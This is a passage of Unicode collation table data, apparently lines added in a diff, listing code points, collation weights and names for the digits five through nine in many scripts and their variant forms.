+215D  ; [.1C42.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION FIVE EIGHTHS
+33E4  ; [.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
+32C4  ; [.1C42.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
+335D  ; [.1C42.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
+0036  ; [.1C43.0020.0002] # DIGIT SIX
+0666  ; [.1C43.0020.0002] # ARABIC-INDIC DIGIT SIX
+06F6  ; [.1C43.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SIX
+07C6  ; [.1C43.0020.0002] # NKO DIGIT SIX
+096C  ; [.1C43.0020.0002] # DEVANAGARI DIGIT SIX
+09EC  ; [.1C43.0020.0002] # BENGALI DIGIT SIX
+0A6C  ; [.1C43.0020.0002] # GURMUKHI DIGIT SIX
+0AEC  ; [.1C43.0020.0002] # GUJARATI DIGIT SIX
+0B6C  ; [.1C43.0020.0002] # ORIYA DIGIT SIX
+0BEC  ; [.1C43.0020.0002] # TAMIL DIGIT SIX
+0C6C  ; [.1C43.0020.0002] # TELUGU DIGIT SIX
+0CEC  ; [.1C43.0020.0002] # KANNADA DIGIT SIX
+0D6C  ; [.1C43.0020.0002] # MALAYALAM DIGIT SIX
+0DEC  ; [.1C43.0020.0002] # SINHALA LITH DIGIT SIX
+0E56  ; [.1C43.0020.0002] # THAI DIGIT SIX
+0ED6  ; [.1C43.0020.0002] # LAO DIGIT SIX
+0F26  ; [.1C43.0020.0002] # TIBETAN DIGIT SIX
+1046  ; [.1C43.0020.0002] # MYANMAR DIGIT SIX
+1096  ; [.1C43.0020.0002] # MYANMAR SHAN DIGIT SIX
+136E  ; [.1C43.0020.0002] # ETHIOPIC DIGIT SIX
+17E6  ; [.1C43.0020.0002] # KHMER DIGIT SIX
+17F6  ; [.1C43.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-MUOY
+1816  ; [.1C43.0020.0002] # MONGOLIAN DIGIT SIX
+194C  ; [.1C43.0020.0002] # LIMBU DIGIT SIX
+19D6  ; [.1C43.0020.0002] # NEW TAI LUE DIGIT SIX
+1A86  ; [.1C43.0020.0002] # TAI THAM HORA DIGIT SIX
+1A96  ; [.1C43.0020.0002] # TAI THAM THAM DIGIT SIX
+1B56  ; [.1C43.0020.0002] # BALINESE DIGIT SIX
+1BB6  ; [.1C43.0020.0002] # SUNDANESE DIGIT SIX
+1C46  ; [.1C43.0020.0002] # LEPCHA DIGIT SIX
+1C56  ; [.1C43.0020.0002] # OL CHIKI DIGIT SIX
+2185  ; [.1C43.0020.0002] # ROMAN NUMERAL SIX LATE FORM
+3026  ; [.1C43.0020.0002] # HANGZHOU NUMERAL SIX
+A626  ; [.1C43.0020.0002] # VAI DIGIT SIX
+A8D6  ; [.1C43.0020.0002] # SAURASHTRA DIGIT SIX
+A906  ; [.1C43.0020.0002] # KAYAH LI DIGIT SIX
+A9D6  ; [.1C43.0020.0002] # JAVANESE DIGIT SIX
+A9F6  ; [.1C43.0020.0002] # MYANMAR TAI LAING DIGIT SIX
+AA56  ; [.1C43.0020.0002] # CHAM DIGIT SIX
+ABF6  ; [.1C43.0020.0002] # MEETEI MAYEK DIGIT SIX
+1010C ; [.1C43.0020.0002] # AEGEAN NUMBER SIX
+102E6 ; [.1C43.0020.0002] # COPTIC EPACT DIGIT SIX
+104A6 ; [.1C43.0020.0002] # OSMANYA DIGIT SIX
+109C5 ; [.1C43.0020.0002] # MEROITIC CURSIVE NUMBER SIX
+10E65 ; [.1C43.0020.0002] # RUMI DIGIT SIX
+11057 ; [.1C43.0020.0002] # BRAHMI NUMBER SIX
+1106C ; [.1C43.0020.0002] # BRAHMI DIGIT SIX
+110F6 ; [.1C43.0020.0002] # SORA SOMPENG DIGIT SIX
+1113C ; [.1C43.0020.0002] # CHAKMA DIGIT SIX
+111D6 ; [.1C43.0020.0002] # SHARADA DIGIT SIX
+111E6 ; [.1C43.0020.0002] # SINHALA ARCHAIC DIGIT SIX
+112F6 ; [.1C43.0020.0002] # KHUDAWADI DIGIT SIX
+11456 ; [.1C43.0020.0002] # NEWA DIGIT SIX
+114D6 ; [.1C43.0020.0002] # TIRHUTA DIGIT SIX
+11656 ; [.1C43.0020.0002] # MODI DIGIT SIX
+116C6 ; [.1C43.0020.0002] # TAKRI DIGIT SIX
+11736 ; [.1C43.0020.0002] # AHOM DIGIT SIX
+118E6 ; [.1C43.0020.0002] # WARANG CITI DIGIT SIX
+11C56 ; [.1C43.0020.0002] # BHAIKSUKI DIGIT SIX
+11C5F ; [.1C43.0020.0002] # BHAIKSUKI NUMBER SIX
+12404 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH
+1240B ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX DISH
+12411 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U
+1241A ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX GESH2
+12428 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX SHAR2
+12440 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX VARIANT FORM ASH9
+1244E ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH TENU
+1246B ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U VARIANT FORM
+16A66 ; [.1C43.0020.0002] # MRO DIGIT SIX
+16B56 ; [.1C43.0020.0002] # PAHAWH HMONG DIGIT SIX
+1D365 ; [.1C43.0020.0002] # COUNTING ROD UNIT DIGIT SIX
+1E8CC ; [.1C43.0020.0002] # MENDE KIKAKUI DIGIT SIX
+1E956 ; [.1C43.0020.0002] # ADLAM DIGIT SIX
+FF16  ; [.1C43.0020.0003] # FULLWIDTH DIGIT SIX
+0F2F  ; [.1C43.0020.0004] # TIBETAN DIGIT HALF SIX
+2479  ; [*0317.0020.0004][.1C43.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT SIX
+248D  ; [.1C43.0020.0004][*0277.0020.0004] # DIGIT SIX FULL STOP
+1F107 ; [.1C43.0020.0004][*0222.0020.0004] # DIGIT SIX COMMA
+1D7D4 ; [.1C43.0020.0005] # MATHEMATICAL BOLD DIGIT SIX
+1D7DE ; [.1C43.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SIX
+1D7E8 ; [.1C43.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SIX
+1D7F2 ; [.1C43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SIX
+1D7FC ; [.1C43.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SIX
+2465  ; [.1C43.0020.0006] # CIRCLED DIGIT SIX
+24FA  ; [.1C43.0020.0006] # DOUBLE CIRCLED DIGIT SIX
+277B  ; [.1C43.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SIX
+2785  ; [.1C43.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SIX
+278F  ; [.1C43.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX
+2076  ; [.1C43.0020.0014] # SUPERSCRIPT SIX
+2086  ; [.1C43.0020.0015] # SUBSCRIPT SIX
+324D  ; [.1C43.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER SIXTY ON BLACK SQUARE
+1F1A3 ; [.1C43.0020.001C][.1C3D.0020.001C][.1E0C.0020.001D] # SQUARED SIXTY P
+33E5  ; [.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
+32C5  ; [.1C43.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
+335E  ; [.1C43.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
+0037  ; [.1C44.0020.0002] # DIGIT SEVEN
+0667  ; [.1C44.0020.0002] # ARABIC-INDIC DIGIT SEVEN
+06F7  ; [.1C44.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SEVEN
+07C7  ; [.1C44.0020.0002] # NKO DIGIT SEVEN
+096D  ; [.1C44.0020.0002] # DEVANAGARI DIGIT SEVEN
+09ED  ; [.1C44.0020.0002] # BENGALI DIGIT SEVEN
+0A6D  ; [.1C44.0020.0002] # GURMUKHI DIGIT SEVEN
+0AED  ; [.1C44.0020.0002] # GUJARATI DIGIT SEVEN
+0B6D  ; [.1C44.0020.0002] # ORIYA DIGIT SEVEN
+0BED  ; [.1C44.0020.0002] # TAMIL DIGIT SEVEN
+0C6D  ; [.1C44.0020.0002] # TELUGU DIGIT SEVEN
+0CED  ; [.1C44.0020.0002] # KANNADA DIGIT SEVEN
+0D6D  ; [.1C44.0020.0002] # MALAYALAM DIGIT SEVEN
+0DED  ; [.1C44.0020.0002] # SINHALA LITH DIGIT SEVEN
+0E57  ; [.1C44.0020.0002] # THAI DIGIT SEVEN
+0ED7  ; [.1C44.0020.0002] # LAO DIGIT SEVEN
+0F27  ; [.1C44.0020.0002] # TIBETAN DIGIT SEVEN
+1047  ; [.1C44.0020.0002] # MYANMAR DIGIT SEVEN
+1097  ; [.1C44.0020.0002] # MYANMAR SHAN DIGIT SEVEN
+136F  ; [.1C44.0020.0002] # ETHIOPIC DIGIT SEVEN
+17E7  ; [.1C44.0020.0002] # KHMER DIGIT SEVEN
+17F7  ; [.1C44.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-PII
+1817  ; [.1C44.0020.0002] # MONGOLIAN DIGIT SEVEN
+194D  ; [.1C44.0020.0002] # LIMBU DIGIT SEVEN
+19D7  ; [.1C44.0020.0002] # NEW TAI LUE DIGIT SEVEN
+1A87  ; [.1C44.0020.0002] # TAI THAM HORA DIGIT SEVEN
+1A97  ; [.1C44.0020.0002] # TAI THAM THAM DIGIT SEVEN
+1B57  ; [.1C44.0020.0002] # BALINESE DIGIT SEVEN
+1BB7  ; [.1C44.0020.0002] # SUNDANESE DIGIT SEVEN
+1C47  ; [.1C44.0020.0002] # LEPCHA DIGIT SEVEN
+1C57  ; [.1C44.0020.0002] # OL CHIKI DIGIT SEVEN
+3027  ; [.1C44.0020.0002] # HANGZHOU NUMERAL SEVEN
+A627  ; [.1C44.0020.0002] # VAI DIGIT SEVEN
+A8D7  ; [.1C44.0020.0002] # SAURASHTRA DIGIT SEVEN
+A907  ; [.1C44.0020.0002] # KAYAH LI DIGIT SEVEN
+A9D7  ; [.1C44.0020.0002] # JAVANESE DIGIT SEVEN
+A9F7  ; [.1C44.0020.0002] # MYANMAR TAI LAING DIGIT SEVEN
+AA57  ; [.1C44.0020.0002] # CHAM DIGIT SEVEN
+ABF7  ; [.1C44.0020.0002] # MEETEI MAYEK DIGIT SEVEN
+1010D ; [.1C44.0020.0002] # AEGEAN NUMBER SEVEN
+102E7 ; [.1C44.0020.0002] # COPTIC EPACT DIGIT SEVEN
+104A7 ; [.1C44.0020.0002] # OSMANYA DIGIT SEVEN
+109C6 ; [.1C44.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN
+10E66 ; [.1C44.0020.0002] # RUMI DIGIT SEVEN
+11058 ; [.1C44.0020.0002] # BRAHMI NUMBER SEVEN
+1106D ; [.1C44.0020.0002] # BRAHMI DIGIT SEVEN
+110F7 ; [.1C44.0020.0002] # SORA SOMPENG DIGIT SEVEN
+1113D ; [.1C44.0020.0002] # CHAKMA DIGIT SEVEN
+111D7 ; [.1C44.0020.0002] # SHARADA DIGIT SEVEN
+111E7 ; [.1C44.0020.0002] # SINHALA ARCHAIC DIGIT SEVEN
+112F7 ; [.1C44.0020.0002] # KHUDAWADI DIGIT SEVEN
+11457 ; [.1C44.0020.0002] # NEWA DIGIT SEVEN
+114D7 ; [.1C44.0020.0002] # TIRHUTA DIGIT SEVEN
+11657 ; [.1C44.0020.0002] # MODI DIGIT SEVEN
+116C7 ; [.1C44.0020.0002] # TAKRI DIGIT SEVEN
+11737 ; [.1C44.0020.0002] # AHOM DIGIT SEVEN
+118E7 ; [.1C44.0020.0002] # WARANG CITI DIGIT SEVEN
+11C57 ; [.1C44.0020.0002] # BHAIKSUKI DIGIT SEVEN
+11C60 ; [.1C44.0020.0002] # BHAIKSUKI NUMBER SEVEN
+12405 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN ASH
+1240C ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN DISH
+12412 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U
+1241B ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN GESH2
+12429 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN SHAR2
+12441 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN3
+12442 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN A
+12443 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN B
+1246C ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U VARIANT FORM
+16A67 ; [.1C44.0020.0002] # MRO DIGIT SEVEN
+16B57 ; [.1C44.0020.0002] # PAHAWH HMONG DIGIT SEVEN
+1D366 ; [.1C44.0020.0002] # COUNTING ROD UNIT DIGIT SEVEN
+1E8CD ; [.1C44.0020.0002] # MENDE KIKAKUI DIGIT SEVEN
+1E957 ; [.1C44.0020.0002] # ADLAM DIGIT SEVEN
+FF17  ; [.1C44.0020.0003] # FULLWIDTH DIGIT SEVEN
+0F30  ; [.1C44.0020.0004] # TIBETAN DIGIT HALF SEVEN
+247A  ; [*0317.0020.0004][.1C44.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT SEVEN
+248E  ; [.1C44.0020.0004][*0277.0020.0004] # DIGIT SEVEN FULL STOP
+1F108 ; [.1C44.0020.0004][*0222.0020.0004] # DIGIT SEVEN COMMA
+1D7D5 ; [.1C44.0020.0005] # MATHEMATICAL BOLD DIGIT SEVEN
+1D7DF ; [.1C44.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SEVEN
+1D7E9 ; [.1C44.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SEVEN
+1D7F3 ; [.1C44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SEVEN
+1D7FD ; [.1C44.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SEVEN
+2466  ; [.1C44.0020.0006] # CIRCLED DIGIT SEVEN
+24FB  ; [.1C44.0020.0006] # DOUBLE CIRCLED DIGIT SEVEN
+277C  ; [.1C44.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SEVEN
+2786  ; [.1C44.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN
+2790  ; [.1C44.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN
+2077  ; [.1C44.0020.0014] # SUPERSCRIPT SEVEN
+2087  ; [.1C44.0020.0015] # SUBSCRIPT SEVEN
+324E  ; [.1C44.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER SEVENTY ON BLACK SQUARE
+1F1A1 ; [.1C44.0020.001C][*0277.0020.001C][.1C3E.0020.001C] # SQUARED SEVEN POINT ONE
+215E  ; [.1C44.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION SEVEN EIGHTHS
+33E6  ; [.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
+32C6  ; [.1C44.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
+335F  ; [.1C44.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
+0038  ; [.1C45.0020.0002] # DIGIT EIGHT
+0668  ; [.1C45.0020.0002] # ARABIC-INDIC DIGIT EIGHT
+06F8  ; [.1C45.0020.0002] # EXTENDED ARABIC-INDIC DIGIT EIGHT
+07C8  ; [.1C45.0020.0002] # NKO DIGIT EIGHT
+096E  ; [.1C45.0020.0002] # DEVANAGARI DIGIT EIGHT
+09EE  ; [.1C45.0020.0002] # BENGALI DIGIT EIGHT
+0A6E  ; [.1C45.0020.0002] # GURMUKHI DIGIT EIGHT
+0AEE  ; [.1C45.0020.0002] # GUJARATI DIGIT EIGHT
+0B6E  ; [.1C45.0020.0002] # ORIYA DIGIT EIGHT
+0BEE  ; [.1C45.0020.0002] # TAMIL DIGIT EIGHT
+0C6E  ; [.1C45.0020.0002] # TELUGU DIGIT EIGHT
+0CEE  ; [.1C45.0020.0002] # KANNADA DIGIT EIGHT
+0D6E  ; [.1C45.0020.0002] # MALAYALAM DIGIT EIGHT
+0DEE  ; [.1C45.0020.0002] # SINHALA LITH DIGIT EIGHT
+0E58  ; [.1C45.0020.0002] # THAI DIGIT EIGHT
+0ED8  ; [.1C45.0020.0002] # LAO DIGIT EIGHT
+0F28  ; [.1C45.0020.0002] # TIBETAN DIGIT EIGHT
+1048  ; [.1C45.0020.0002] # MYANMAR DIGIT EIGHT
+1098  ; [.1C45.0020.0002] # MYANMAR SHAN DIGIT EIGHT
+1370  ; [.1C45.0020.0002] # ETHIOPIC DIGIT EIGHT
+17E8  ; [.1C45.0020.0002] # KHMER DIGIT EIGHT
+17F8  ; [.1C45.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BEI
+1818  ; [.1C45.0020.0002] # MONGOLIAN DIGIT EIGHT
+194E  ; [.1C45.0020.0002] # LIMBU DIGIT EIGHT
+19D8  ; [.1C45.0020.0002] # NEW TAI LUE DIGIT EIGHT
+1A88  ; [.1C45.0020.0002] # TAI THAM HORA DIGIT EIGHT
+1A98  ; [.1C45.0020.0002] # TAI THAM THAM DIGIT EIGHT
+1B58  ; [.1C45.0020.0002] # BALINESE DIGIT EIGHT
+1BB8  ; [.1C45.0020.0002] # SUNDANESE DIGIT EIGHT
+1C48  ; [.1C45.0020.0002] # LEPCHA DIGIT EIGHT
+1C58  ; [.1C45.0020.0002] # OL CHIKI DIGIT EIGHT
+3028  ; [.1C45.0020.0002] # HANGZHOU NUMERAL EIGHT
+A628  ; [.1C45.0020.0002] # VAI DIGIT EIGHT
+A8D8  ; [.1C45.0020.0002] # SAURASHTRA DIGIT EIGHT
+A908  ; [.1C45.0020.0002] # KAYAH LI DIGIT EIGHT
+A9D8  ; [.1C45.0020.0002] # JAVANESE DIGIT EIGHT
+A9F8  ; [.1C45.0020.0002] # MYANMAR TAI LAING DIGIT EIGHT
+AA58  ; [.1C45.0020.0002] # CHAM DIGIT EIGHT
+ABF8  ; [.1C45.0020.0002] # MEETEI MAYEK DIGIT EIGHT
+1010E ; [.1C45.0020.0002] # AEGEAN NUMBER EIGHT
+102E8 ; [.1C45.0020.0002] # COPTIC EPACT DIGIT EIGHT
+104A8 ; [.1C45.0020.0002] # OSMANYA DIGIT EIGHT
+109C7 ; [.1C45.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT
+10E67 ; [.1C45.0020.0002] # RUMI DIGIT EIGHT
+11059 ; [.1C45.0020.0002] # BRAHMI NUMBER EIGHT
+1106E ; [.1C45.0020.0002] # BRAHMI DIGIT EIGHT
+110F8 ; [.1C45.0020.0002] # SORA SOMPENG DIGIT EIGHT
+1113E ; [.1C45.0020.0002] # CHAKMA DIGIT EIGHT
+111D8 ; [.1C45.0020.0002] # SHARADA DIGIT EIGHT
+111E8 ; [.1C45.0020.0002] # SINHALA ARCHAIC DIGIT EIGHT
+112F8 ; [.1C45.0020.0002] # KHUDAWADI DIGIT EIGHT
+11458 ; [.1C45.0020.0002] # NEWA DIGIT EIGHT
+114D8 ; [.1C45.0020.0002] # TIRHUTA DIGIT EIGHT
+11658 ; [.1C45.0020.0002] # MODI DIGIT EIGHT
+116C8 ; [.1C45.0020.0002] # TAKRI DIGIT EIGHT
+11738 ; [.1C45.0020.0002] # AHOM DIGIT EIGHT
+118E8 ; [.1C45.0020.0002] # WARANG CITI DIGIT EIGHT
+11C58 ; [.1C45.0020.0002] # BHAIKSUKI DIGIT EIGHT
+11C61 ; [.1C45.0020.0002] # BHAIKSUKI NUMBER EIGHT
+12406 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT ASH
+1240D ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT DISH
+12413 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U
+1241C ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT GESH2
+1242A ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT SHAR2
+12444 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU
+12445 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU3
+1246D ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U VARIANT FORM
+16A68 ; [.1C45.0020.0002] # MRO DIGIT EIGHT
+16B58 ; [.1C45.0020.0002] # PAHAWH HMONG DIGIT EIGHT
+1D367 ; [.1C45.0020.0002] # COUNTING ROD UNIT DIGIT EIGHT
+1E8CE ; [.1C45.0020.0002] # MENDE KIKAKUI DIGIT EIGHT
+1E958 ; [.1C45.0020.0002] # ADLAM DIGIT EIGHT
+FF18  ; [.1C45.0020.0003] # FULLWIDTH DIGIT EIGHT
+0F31  ; [.1C45.0020.0004] # TIBETAN DIGIT HALF EIGHT
+247B  ; [*0317.0020.0004][.1C45.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT EIGHT
+248F  ; [.1C45.0020.0004][*0277.0020.0004] # DIGIT EIGHT FULL STOP
+1F109 ; [.1C45.0020.0004][*0222.0020.0004] # DIGIT EIGHT COMMA
+1D7D6 ; [.1C45.0020.0005] # MATHEMATICAL BOLD DIGIT EIGHT
+1D7E0 ; [.1C45.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT EIGHT
+1D7EA ; [.1C45.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT EIGHT
+1D7F4 ; [.1C45.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT EIGHT
+1D7FE ; [.1C45.0020.0005] # MATHEMATICAL MONOSPACE DIGIT EIGHT
+2467  ; [.1C45.0020.0006] # CIRCLED DIGIT EIGHT
+24FC  ; [.1C45.0020.0006] # DOUBLE CIRCLED DIGIT EIGHT
+277D  ; [.1C45.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT EIGHT
+2787  ; [.1C45.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT
+2791  ; [.1C45.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT
+2078  ; [.1C45.0020.0014] # SUPERSCRIPT EIGHT
+2088  ; [.1C45.0020.0015] # SUBSCRIPT EIGHT
+324F  ; [.1C45.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER EIGHTY ON BLACK SQUARE
+1F19F ; [.1C45.0020.001C][.1D65.0020.001D] # SQUARED EIGHT K
+33E7  ; [.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
+32C7  ; [.1C45.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
+3360  ; [.1C45.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
+0039  ; [.1C46.0020.0002] # DIGIT NINE
+0669  ; [.1C46.0020.0002] # ARABIC-INDIC DIGIT NINE
+06F9  ; [.1C46.0020.0002] # EXTENDED ARABIC-INDIC DIGIT NINE
+07C9  ; [.1C46.0020.0002] # NKO DIGIT NINE
+096F  ; [.1C46.0020.0002] # DEVANAGARI DIGIT NINE
+09EF  ; [.1C46.0020.0002] # BENGALI DIGIT NINE
+0A6F  ; [.1C46.0020.0002] # GURMUKHI DIGIT NINE
+0AEF  ; [.1C46.0020.0002] # GUJARATI DIGIT NINE
+0B6F  ; [.1C46.0020.0002] # ORIYA DIGIT NINE
+0BEF  ; [.1C46.0020.0002] # TAMIL DIGIT NINE
+0C6F  ; [.1C46.0020.0002] # TELUGU DIGIT NINE
+0CEF  ; [.1C46.0020.0002] # KANNADA DIGIT NINE
+0D6F  ; [.1C46.0020.0002] # MALAYALAM DIGIT NINE
+0DEF  ; [.1C46.0020.0002] # SINHALA LITH DIGIT NINE
+0E59  ; [.1C46.0020.0002] # THAI DIGIT NINE
+0ED9  ; [.1C46.0020.0002] # LAO DIGIT NINE
+0F29  ; [.1C46.0020.0002] # TIBETAN DIGIT NINE
+1049  ; [.1C46.0020.0002] # MYANMAR DIGIT NINE
+1099  ; [.1C46.0020.0002] # MYANMAR SHAN DIGIT NINE
+1371  ; [.1C46.0020.0002] # ETHIOPIC DIGIT NINE
+17E9  ; [.1C46.0020.0002] # KHMER DIGIT NINE
+17F9  ; [.1C46.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BUON
+1819  ; [.1C46.0020.0002] # MONGOLIAN DIGIT NINE
+194F  ; [.1C46.0020.0002] # LIMBU DIGIT NINE
+19D9  ; [.1C46.0020.0002] # NEW TAI LUE DIGIT NINE
+1A89  ; [.1C46.0020.0002] # TAI THAM HORA DIGIT NINE
+1A99  ; [.1C46.0020.0002] # TAI THAM THAM DIGIT NINE
+1B59  ; [.1C46.0020.0002] # BALINESE DIGIT NINE
+1BB9  ; [.1C46.0020.0002] # SUNDANESE DIGIT NINE
+1C49  ; [.1C46.0020.0002] # LEPCHA DIGIT NINE
+1C59  ; [.1C46.0020.0002] # OL CHIKI DIGIT NINE
+3029  ; [.1C46.0020.0002] # HANGZHOU NUMERAL NINE
+A629  ; [.1C46.0020.0002] # VAI DIGIT NINE
+A8D9  ; [.1C46.0020.0002] # SAURASHTRA DIGIT NINE
+A909  ; [.1C46.0020.0002] # KAYAH LI DIGIT NINE
+A9D9  ; [.1C46.0020.0002] # JAVANESE DIGIT NINE
+A9F9  ; [.1C46.0020.0002] # MYANMAR TAI LAING DIGIT NINE
+AA59  ; [.1C46.0020.0002] # CHAM DIGIT NINE
+ABF9  ; [.1C46.0020.0002] # MEETEI MAYEK DIGIT NINE
+1010F ; [.1C46.0020.0002] # AEGEAN NUMBER NINE
+102E9 ; [.1C46.0020.0002] # COPTIC EPACT DIGIT NINE
+104A9 ; [.1C46.0020.0002] # OSMANYA DIGIT NINE
+109C8 ; [.1C46.0020.0002] # MEROITIC CURSIVE NUMBER NINE
+10E68 ; [.1C46.0020.0002] # RUMI DIGIT NINE
+1105A ; [.1C46.0020.0002] # BRAHMI NUMBER NINE
+1106F ; [.1C46.0020.0002] # BRAHMI DIGIT NINE
+110F9 ; [.1C46.0020.0002] # SORA SOMPENG DIGIT NINE
+1113F ; [.1C46.0020.0002] # CHAKMA DIGIT NINE
+111D9 ; [.1C46.0020.0002] # SHARADA DIGIT NINE
+111E9 ; [.1C46.0020.0002] # SINHALA ARCHAIC DIGIT NINE
+112F9 ; [.1C46.0020.0002] # KHUDAWADI DIGIT NINE
+11459 ; [.1C46.0020.0002] # NEWA DIGIT NINE
+114D9 ; [.1C46.0020.0002] # TIRHUTA DIGIT NINE
+11659 ; [.1C46.0020.0002] # MODI DIGIT NINE
+116C9 ; [.1C46.0020.0002] # TAKRI DIGIT NINE
+11739 ; [.1C46.0020.0002] # AHOM DIGIT NINE
+118E9 ; [.1C46.0020.0002] # WARANG CITI DIGIT NINE
+11C59 ; [.1C46.0020.0002] # BHAIKSUKI DIGIT NINE
+11C62 ; [.1C46.0020.0002] # BHAIKSUKI NUMBER NINE
+12407 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE ASH
+1240E ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE DISH
+12414 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U
+1241D ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE GESH2
+1242B ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE SHAR2
+12446 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU
+12447 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU3
+12448 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU4
+12449 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU A
+1246E ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
+16A69 ; [.1C46.0020.0002] # MRO DIGIT NINE
+16B59 ; [.1C46.0020.0002] # PAHAWH HMONG DIGIT NINE
+1D368 ; [.1C46.0020.0002] # COUNTING ROD UNIT DIGIT NINE
+1E8CF ; [.1C46.0020.0002] # MENDE KIKAKUI DIGIT NINE
+1E959 ; [.1C46.0020.0002] # ADLAM DIGIT NINE
+FF19  ; [.1C46.0020.0003] # FULLWIDTH DIGIT NINE
+0F32  ; [.1C46.0020.0004] # TIBETAN DIGIT HALF NINE
